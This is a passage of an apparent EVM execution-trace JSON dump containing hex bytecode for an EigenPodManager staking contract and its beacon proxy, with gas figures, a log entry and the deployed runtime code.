fffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a26469706673582212207ff0786e5c0a24739a386958aed54016658ca50211cd889cffa9bed27003964664736f6c634300081b0033","gas_used":2608978,"gas_limit":3469161,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e81565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000424242424242424242424242424242424242424281565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482